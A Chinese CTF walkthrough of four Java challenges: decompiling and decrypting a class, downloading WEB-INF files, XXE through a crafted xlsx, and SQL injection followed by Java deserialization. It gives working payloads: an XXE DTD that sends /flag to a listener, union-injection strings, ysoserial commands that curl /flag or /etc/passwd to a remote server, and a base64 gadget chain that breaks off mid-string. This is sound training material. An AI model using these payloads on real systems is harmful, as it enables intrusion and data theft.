p85 CTF夺旗-JAVA考点反编译&XXE&反序列化

数据来源

图片来源 

Java 常考点及出题思路

考点技术:xxe,spel 表达式,反序列化,文件安全,最新框架插件漏洞等

设法间接给出源码或相关配置提示文件,间接性源码或直接源码体现等形式 https://www.cnblogs.com/xishaonian/p/7628153.html

  • 00x1 .ng 源码泄露
  • 00x2 git 源码泄露
  • 00x3 .DS_Store 文件泄漏
  • 00x4 网站备份压缩文件
  • 00x5 SVN 导致文件泄露
  • 00x6 WEB-INF/web.xml 泄露
  • 00x7 CVS 泄漏

Java 必备知识点:

反编译,基础的 Java 代码认知及审计能力,熟悉相关最新的漏洞,常见漏洞等

演示案例:

案例1 - Java 简单逆向解密-Reverse-buuoj-逆向源码

Java 简单逆向解密-Reverse-buuoj-逆向源码算法

靶场地址:https://buuoj.cn/challenges#Java逆向解密

知识点:Java 项目格式解析,加解密脚本等

下载提示文件 - class 反编译 java 文件-加密算法-解密脚本


要打开class文件需要下载java的编译器(下载免费版的就好):   IntelliJ IDEA下载安装教程(图解)

软件汉化:IntelliJ IDEA中文汉化教程_idea汉化教程_xiaobai763129479的博客-CSDN博客

文件源代码 

// Source code recreated from a .class file by IntelliJ IDEA   IntelliJ IDEA从.class文件重新创建的源代码

// (powered by FernFlower decompiler)   (由FernFlow反编译器提供支持)

import java.util.ArrayList;    // 引入 ArrayList 类,ArrayList 类是一个可以动态修改的数组,与普通数组的区别就是它是没有固定大小的限制,我们可以添加或删除元素。
import java.util.Scanner;     // java.util.Scanner 是 Java5 的新特征,我们可以通过 Scanner 类来获取用户的输入。

public class Reverse {                                 // public 修饰符-公有的
    public Reverse() {
    }

    // “主函数”、“Java应用程序的入口
    public static void main(String[] args) {             // static 表示静态的、void 表表示函数没有返回值,或返回值为void(空) 
        Scanner s = new Scanner(System.in);              // 创建 Scanner 对象的基本语法
        System.out.println("Please input the flag :");  // System.out.println() 打印字符
        // String 类来创建和操作字符串
        String str = s.next();                           // next()是Scanner对象提供的方法作用是获取用户输入的字符串
        System.out.println("Your input is :");          // Your input is ->您的输入是
        System.out.println(str);                         // 打印用户的输入
        char[] stringArr = str.toCharArray();            // toCharArray() 方法将字符串转换为字符数组。
        Encrypt(stringArr);                             // 调用Encrypt()函数,作用是加密字符
    }

    public static void Encrypt(char[] arr) {
        ArrayList<Integer> Resultlist = new ArrayList();      // 这里使用ArrayList对象创建一个空的数组、 Integer的作用就是将字符串转化为整型

        for(int i = 0; i < arr.length; ++i) {           // length 返回元素的长度
            int result = arr[i] + 64 ^ 32;             // 将用户输入的字符(原始key)先加64再异或32得到加密后的key,如果我们要解密的时候就要先异或32再减去64就能获取到原来的key
            Resultlist.add(result);                    // add() 方法将元素插入数组
        }

        int[] KEY = new int[]{180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65};
        ArrayList<Integer> KEYList = new ArrayList();

        for(int j = 0; j < KEY.length; ++j) {
            KEYList.add(KEY[j]);
        }

        System.out.println("Result:");
        if (Resultlist.equals(KEYList)) {   // equals() 方法用于判断 Number 对象与方法的参数进是否相等。
            System.out.println("Congratulations!"); // 成功
        } else {
            System.err.println("Error!");           // 失败
        }

    }
}

 java异或运算_文子先森的博客-CSDN博客

这里写个pyhton脚本进行解密: 

a = [180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65]   # 从源码复制过来的
b = ''
for i in a:
  # 例如,chr(97) 返回字符串 'a',就是将ASCII 码转为对应的字符
  b+=chr((i^32)-64)       # 源码的加密语句先加64加异或32,我们这里要解密就刚好和他相反就可以了 int result = arr[i] + 64 ^ 32;
  print(f"ASCII码:{(i^32)-64},对应的字符为:{chr((i^32)-64)  }")
print(f"最终的转换结果:{b}")

 

案例2 - RoarCTF-2019-easy_java-buuoj-配置到源码

RoarCTF-2019-easy_java-配置到源码

靶场地址:https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Java

知识点:下载漏洞利用,配置文件解析,Javaweb 项目结构等

提示:下载漏洞-更换请求方法-获取源码配置文件-指向 Flag-下载 class-反编译 

漏洞检测以及利用方法:通过找到 web.xml 文件,推断 class 文件的路径,最后直接 class 文件,在 通过反编译 class 文件,得到网站源码

1)打开靶机

这里存在文件下载漏洞

2)尝试下载:/WEB-INF/web.xml文件

WEB-INF 主要包含一下文件或目录:

/WEB-INF/web.xml:Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非 servlet class,他们不能包 含在 .jar 文件中

/WEB-INF/lib/:存放 web 应用需要的各种 JAR 文件,放置仅在这个应用中要求使用的 jar 文件,如数 据库驱动 jar 文件

/WEB-INF/src/:源码目录,按照包名结构放置各个 java 文件。

/WEB-INF/database.properties:数据库配置文件

一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了)。

3)我这里使用Burpsuite抓包改成post请求

4)打开下载的文件 ,分析文件内容

/WEB-INF/web.xml 

<?xml version="1.0" encoding="UTF-8"?>

-<web-app version="4.0" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee">


-<welcome-file-list>

<welcome-file>Index</welcome-file>

</welcome-file-list>


-<servlet>

<servlet-name>IndexController</servlet-name>

<servlet-class>com.wm.ctf.IndexController</servlet-class>

</servlet>


-<servlet-mapping>

<servlet-name>IndexController</servlet-name>

<url-pattern>/Index</url-pattern>

</servlet-mapping>


-<servlet>

<servlet-name>LoginController</servlet-name>

<servlet-class>com.wm.ctf.LoginController</servlet-class>

</servlet>


+<servlet-mapping>


-<servlet>

<servlet-name>DownloadController</servlet-name>

<servlet-class>com.wm.ctf.DownloadController</servlet-class>

</servlet>


-<servlet-mapping>

<servlet-name>DownloadController</servlet-name>

<url-pattern>/Download</url-pattern>

</servlet-mapping>


-<servlet>

<servlet-name>FlagController</servlet-name>

<servlet-class>com.wm.ctf.FlagController</servlet-class>

</servlet>


-<servlet-mapping>

<servlet-name>FlagController</servlet-name>

<url-pattern>/Flag</url-pattern>

</servlet-mapping>

</web-app>

文件内容解析: 

         因为所有的java项目上线之后都会打包文件,原来的文件名可能是a.java打包后就是a.class我们现在访问的靶机就是打包上线后的java项目不然我们也访问不了。

        也就是说我们现在要访问IndexController文件,打包后的文件名就是IndexController.class,经过上面的分析发现IndexController文件路径是这个com/wm/ctf/IndexController(要访问文件时我们要把“.”换成“/”不然服务器不认识)

        而/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非 servlet class,他们不能包 含在 .jar 文件中,这文件路径是固定java项目都是这个路径,所以把上面的信息总结一下:我们要访问IndexController.class,文件的路径是com/wm/ctf/IndexController.class,然后所有的class文件都包含在/WEB-INF/classes/路径下,最终的文件下载路径就是:/WEB-INF/classes/com/wm/ctf/IndexController.class

5)下载IndexController.class文件

这里的下载方法跟之前一样,先拦截请求 -> 抓包 ->改请求方式为post -> 放包并取消请求拦截->查看浏览器就能看到下载成功的文件

下载路径:/WEB-INF/classes/com/wm/ctf/IndexController.class

成功拿到源码,但是很明显这里文件的内容没有我们需要的flag,继续查看/WEB-INF/web.xml文件内容找其他文件的下载目录(思路是一样的)

 需要注意的是class文件要向案例1一样使用java的编译工具打开,不然是乱码 

6)下载FlagController文件

 文件下载路径:/WEB-INF/classes/com/wm/ctf/FlagController.class

flag = "ZmxhZ3s1ZjEwMTAwNC1jNTAzLTQ3OGMtOGMxMS0xMWUxMmM4MGUzMzh9Cg=="

base64 解码后的字符:

flag{5f101004-c503-478c-8c11-11e12c80e338}

我这里使用小葵解密 :下载链接

也可以在网上搜索在线工具进行解密(随便一搜有很多): BASE64加密解密

在线Base64编码解码工具_蛙蛙工具

案例3 - 网鼎杯 2020-青龙组-filejava-ctfhub-配置到源码

网鼎杯 2020-青龙组-filejava-ctfhub-配置到源码

一篇文章读懂Java代码审计之XXE

Apache POI XML外部实体(XML External Entity,XXE)攻击详解

JAVA常见的XXE漏洞写法和防御 | Spoock

Java XXE漏洞典型场景分析

靶场地址:https://www.ctfhub.com/#/challenge 搜索:FileJava

靶场打开后的的提示说:文件上传系统挂到了服务器上,但过了段时间收到了漏洞报警 。这就说明这里文件上传是有漏洞的,所以我们就可以重点关注文件上传相关的东西

1)靶机打开后就是一个文件上传的页面,那我们就上传个文件抓包看看

2)尝试下载/WEB-INF/web.xml文件(这个文件的作用前面讲了:Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

分析WEB-INF/web.xml文件 (思路跟之前的一样)

3)尝试下载UploadServlet.class文件

java项目打包之后才能上线,打包后的文件名后缀就是class,class文件都包含在/WEB-INF/classes/(这里要访问WEB-INF文件经过前面的测试要在前面加4个../) 

下载文件路径:../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

注意:我现在要下载的是class文件之前说了要打开class文件要使用java的编译器进行反编译,所以我们这里就不能直接在抓包软件内查看了,要下载下来在编译中中打开。

实现:来一波偷天换日

1、先开启请求拦截

2、会到浏览器点击文件下载 

3、改包下载UploadServlet.class 

开启靶机,继续 

4)分析文件内容

文件内容:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.servlet;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Iterator;
import java.util.List;
import java.util.UUID;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;

public class UploadServlet extends HttpServlet {
    private static final long serialVersionUID = 1L;

    public UploadServlet() {
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String savePath = this.getServletContext().getRealPath("/WEB-INF/upload");
        String tempPath = this.getServletContext().getRealPath("/WEB-INF/temp");
        File tempFile = new File(tempPath);
        if (!tempFile.exists()) {
            tempFile.mkdir();
        }

        String message = "";

        try {
            DiskFileItemFactory factory = new DiskFileItemFactory();
            factory.setSizeThreshold(102400);
            factory.setRepository(tempFile);
            ServletFileUpload upload = new ServletFileUpload(factory);
            upload.setHeaderEncoding("UTF-8");
            upload.setFileSizeMax(1048576L);
            upload.setSizeMax(10485760L);
            if (!ServletFileUpload.isMultipartContent(request)) {
                return;
            }

            List<FileItem> list = upload.parseRequest(request);
            Iterator var10 = list.iterator();

            label56:
            while(true) {
                while(true) {
                    if (!var10.hasNext()) {
                        break label56;
                    }

                    FileItem fileItem = (FileItem)var10.next();
                    String filename;
                    String fileExtName;
                    if (fileItem.isFormField()) {
                        filename = fileItem.getFieldName();
                        fileExtName = fileItem.getString("UTF-8");
                    } else {
                        filename = fileItem.getName();
                        if (filename != null && !filename.trim().equals("")) {
                            fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
                            InputStream in = fileItem.getInputStream();
                            if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
                                try {
                                    Workbook wb1 = WorkbookFactory.create(in);
                                    Sheet sheet = wb1.getSheetAt(0);
                                    System.out.println(sheet.getFirstRowNum());
                                } catch (InvalidFormatException var20) {
                                    System.err.println("poi-ooxml-3.10 has something wrong");
                                    var20.printStackTrace();
                                }
                            }

                            String saveFilename = this.makeFileName(filename);
                            request.setAttribute("saveFilename", saveFilename);
                            request.setAttribute("filename", filename);
                            String realSavePath = this.makePath(saveFilename, savePath);
                            FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
                            byte[] buffer = new byte[1024];
                            int len = false;

                            int len;
                            while((len = in.read(buffer)) > 0) {
                                out.write(buffer, 0, len);
                            }

                            in.close();
                            out.close();
                            message = "文件上传成功!";
                        }
                    }
                }
            }
        } catch (FileUploadException var21) {
            var21.printStackTrace();
        }

        request.setAttribute("message", message);
        request.getRequestDispatcher("/ListFileServlet").forward(request, response);
    }

    private String makeFileName(String filename) {
        return UUID.randomUUID().toString() + "_" + filename;
    }

    private String makePath(String filename, String savePath) {
        int hashCode = filename.hashCode();
        int dir1 = hashCode & 15;
        int dir2 = (hashCode & 240) >> 4;
        String dir = savePath + "/" + dir1 + "/" + dir2;
        File file = new File(dir);
        if (!file.exists()) {
            file.mkdirs();
        }

        return dir;
    }
}

Apache POI XML外部实体(XML External Entity,XXE)攻击详解 - 简书

漏洞介绍与利用

1. 漏洞编号

CVE-2014-3529

Apache POI 3.10-FINAL及以前版本被发现允许远程攻击者通过注入XML外部实体访问外部实体资源或者读取任意文件。

2. 影响范围

poi-ooxml-3.10-FINAL.jar及以下版本

3. 利用文件

[Content-Types].xml

4. 漏洞利用

1)先创建一个excel-xxxx.xlsx文件(文件名前面的excel-不要改可以在-后面加字符,不加也行,源码做了判断)

  

startsWith() 方法用于检测字符串是否以指定的前缀开始。

然后将文件后缀名改成.zip 

2)使用文本编辑器打开[Content-Types].xml注入外部实体,在第二行插入实体:(构造上传文件) 

这里如果你们的压缩软件没法预览就不要跟着我图片走了:先新建一个excel-1.xlsx文件,再改后缀为zip,解压缩,对文件夹里面的[Content_Types].xml进行修改,修改完后再压缩成zip,改后缀为xlsx(参考

  

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP:3333/XXE/xxx.dtd">
%remote;%int;%send;

]>
<root>&send;</root>

将修改后的压缩包重新修改后缀为.xlsx文件

3)在服务器与自己电脑安装nc

首先你要有自己的服务器,我之前买的腾讯云的新人优惠第一年:68/年(之后是原价)

购买与配置教程:将 node + mysql + vue 部署到服务器_node部署服务器以及部署数据库_正经人_____的博客-CSDN博

然后需要给服务器安装nc:(参考

# 下载nc的压缩包
wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
# 解压
tar zxvf netcat-0.7.1.tar.gz
# 切换目录
cd netcat-0.7.1
# 运行一些必要的东西
./configure
make
make install

最后服务器终端输入:(等到最后服务器创建网站时一条命令就会报错了,这里先用来测试)

# -l 监听模式 -p 开启监听端口 ,这里监听3333端口,服务器要开放这个端口才行
nc -l -p 3333    

我这里是Xshell(里面的破解包是公用的)连接服务端终端进行操作

客户端、自己电脑也可以下载部署nc(windows安装我以前写过这里就不多说了)(这个可以跳过

最最后自己电脑输入:

# 接收服务端3333端口收到的消息
nc 服务端ip 3333

先测试有没有链接成功,在服务端随便输入点东西,然后查看自己电脑有没有接收到

4)部署一下服务器的网站

1、首先进入远程服务器WEB根目录,我是进入了:/www/wwwroot/Network_ security(Network_ security文件是我自己创建的,翻译过来就是网络安全 ,可以改)

创建方法:

 

2、然后要配置下网站站点(就是让别可以通过我的服务器ip+端口+文件  访问我服务器的文件)

 

3、修改访问的端口为:3333

 

然后就可以使用远程服务器ip:3333 端口进行访问了

不过你打开的端口是这样的,这网页是自动创建的,可以设置默认打开目录 

然后我查看我的服务器文件,发现服务器自动给我创建一个相同的文件Network_security

建议:把所有者是root的这个文件删除掉,不然容易混淆

然后在所有者是www的Network_security文件夹下创建一个1.txt随便在里面写的东西测试能不能访问

访问地址:服务器ip:3333/1.txt   

5)构造远程监控

创建一个XXE文件夹在里面,创建文件xxx.dtd,添加内容(这里要在服务再开个端口:3331)

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://远程服务器ip:3331/%file;'>">

在服务端的终端输入(在Xshell输入):nc -lvvp 3331            # 监听3331端口

 这里我总结一下思路:一开始我们创建了excel-xxxx.xlsx文件上传到靶机后靶机会读取这个文件的内容,那样就会访问我们服务端的xxx.dtd文件,该文件就会读取靶机的flag信息然后发送给3331端口,这个端口被我们监听了所以最后我们在终端就能拿到靶机返回的flag

一切准备就绪,上传excel-xxxx.xlsx文件

查看靶机返回的flag 

最后解题成功(消耗了我400金币,这靶场死要钱)

案例4 - 网鼎杯 2020-朱雀组-Web-think_java-直接源码审计

网鼎杯 2020-朱雀组-Web-think_java-直接源码审计

靶场地址:https://www.ctfhub.com    搜索:think_java

0x01 下载源码后进行代码审计:

根据提示附件进行 javaweb 代码审计,发现可能存在注入漏洞

另外有 swagger 开发接口,测试注入漏洞及访问接口进行调用测试

数据库名:myapp,列名 name,pwd

SqlDict.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.core.sqldict;

import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

public class SqlDict {
    public SqlDict() {
    }

    public static Connection getConnection(String dbName, String user, String pass) {
        Connection conn = null;

        try {
            Class.forName("com.mysql.jdbc.Driver");
            if (dbName != null && !dbName.equals("")) {
                dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
            } else {
                dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
            }

            if (user == null || dbName.equals("")) {
                user = "root";
            }

            if (pass == null || dbName.equals("")) {
                pass = "abc@12345";
            }

            conn = DriverManager.getConnection(dbName, user, pass);
        } catch (ClassNotFoundException var5) {
            var5.printStackTrace();
        } catch (SQLException var6) {
            var6.printStackTrace();
        }

        return conn;
    }

    public static List<Table> getTableData(String dbName, String user, String pass) {
        List<Table> Tables = new ArrayList();
        Connection conn = getConnection(dbName, user, pass);
        String TableName = "";

        try {
            Statement stmt = conn.createStatement();
            DatabaseMetaData metaData = conn.getMetaData();
            ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[]{"TABLE"});

            while(tableNames.next()) {
                TableName = tableNames.getString(3);
                Table table = new Table();
                String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
                ResultSet rs = stmt.executeQuery(sql);

                while(rs.next()) {
                    table.setTableDescribe(rs.getString("TABLE_COMMENT"));
                }

                table.setTableName(TableName);
                ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
                ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);

                String PK;
                for(PK = ""; rs2.next(); PK = rs2.getString(4)) {
                }

                while(data.next()) {
                    Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
                    table.list.add(row);
                }

                Tables.add(table);
            }
        } catch (SQLException var16) {
            var16.printStackTrace();
        }

        return Tables;
    }
}

sql语句没有预编译,这个sql语句的dbName参数是可控的,在这个地方我们可以传入一个联合查询语句进去查询我们需要的东西

Test.class 

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package cn.abc.core.controller;

import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
    public Test() {
    }

    @PostMapping({"/sqlDict"})
    @Access
    @ApiOperation("为了开发方便对应数据库字典查询")
    public ResponseResult sqlDict(String dbName) throws IOException {
        List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
        return ResponseResult.e(ResponseCode.OK, tables);
    }
}

0x02 注入判断,获取管理员帐号密码:

访问:/common/test/sqlDict     # 测试sql注入获取账号密码 

抓包软件开启后直接访问:/common/test/sqlDict     -> 然后查看抓包情况

 构造请求:

获取用户名

# 单引号是为了跟原来的sql语句闭合 (源码的就是单引号)
# 最后的# 是为了注释掉后后面的语句防止影响到sql语句的执行
dbName=myapp?a=' union select (select name from user)#

用户名:ctfhub

获取密码

dbName=myapp?a=' union select (select pwd from user)#

 密码:ctfhub_24854_5651

 name、pwd 都是猜测的,如果是实战情况下,要先获取表名,载获取列名,然后再获取对应列的信息

0x03 接口测试

得到数据库的用户名和账户之后,但是没有地方登陆和上传,查看源代码发现swagger模块

我们也使用靶机的url访问:/swagger-ui.html   看看

直接登录看看

登录参数

{

"password":"ctfhub_xxx", "username": "ctfhub"

}

登录返回 

{
  "data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==",
  "msg": "登录成功",
  "status": 2,
  "timestamps": 1680011527946
}

0x04 回显数据分析攻击思路

JAVAWEB 特征可以作为序列化的标志参考:

一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据

或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制

先利用 py2 脚本解密 base64 数据(用python3运行报错)

python java_bs64.py

import base64
a="rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg=="
b = base64.b64decode(a).encode('hex')
print(b)

 解密的字符有变成了以 aced 开头的字符,这就是这一段 java 序列化的 16 进制

aced000573720018636e2e6162632e636f72652e6d6f64656c2e55736572566f764643317b04f43a0200024c000269647400104c6a6176612f6c616e672f4c6f6e673b4c00046e616d657400124c6a6176612f6c616e672f537472696e673b78707372000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000078700000000000000001740006637466687562

再利用 SerializationDumper 解析数据-还原数据

下载:GitHub - NickstaDB/SerializationDumper: A tool to dump Java serialization streams in a more human readable form.

java -jar SerializationDumper-v1.13.jar base64后的数据

解密后数据中包含帐号等信息 

0x05 生成反序列化 payload-序列化后进行 base64 解密

解密后数据中包含帐号等信息,但是通过接口:/common/user/current   请求时发现我们将身份认证Token直接传进去(没有经过解密),他也能返回我们的身份信息

但是在这个接口上我们传进去的是没有解密的,他还是能解读我们的身份信息这就说明了服务器在后台有做了反序列化,可能存在反序列化漏洞

思路:

将恶意代码进行序列化后进行后续操作(将恶意代码当成Token传进去进行攻击)

我们刚才对Token解密的操作是先JAVA 序列化 base64解密,然后再 java 序列化的 16 进制解密

我们现在也是要构造这个格式的字符传入进去进行攻击,所以我们要先 java 序列化的 16 进制加密,再JAVA 序列化 base64加密

利用 ysoserial 进行序列化生成

下载:GitHub

# 就是生成一个xiaodi.bin文件去获取flag(获取根目录下的flag文件文件,这个是题目的提示flag文件在根目录下载,@ 在项目开发中默认都是代表str目录也就是根目录) 
java -jar ysoserial-master-2874a69f61-1.jar ROME "curl http://远程服务器ip:监听端口 -d @/flag" > xiaodi.bin    
       
# 注意如果现在你用上面这个命令去生成字符进行攻击,你自己服务器监听的端口是不会收到消息的
# 因为flag虽然是在根目录下,我们写的命令也没有错,但是靶机还有一句提示“flag文件名随机”所以找不到flag这个文件就会报错,服务端就收不到消息,这里我们先改成linux系统都会有的文件夹/etc/passwd 测试服务端能不能正常的接收靶机传回的消息,在进行下一步找flag文件的名称,将命令改成下面这个:
java -jar ysoserial-master-2874a69f61-1.jar ROME "curl http://远程服务器ip:监听端口 -d @/etc/passwd" > xiaodi.bin 

python2 java.py   (将反序列化数据进行base64编码/加密)

import base64

file = open("xiaodi.bin","rb")

now = file.read() ba = base64.b64encode(now)

print(ba)

file.close()

加密后的字符: (使用的时候要在前面加上:Bearer   # 才是完整的Token )

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAa/yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvY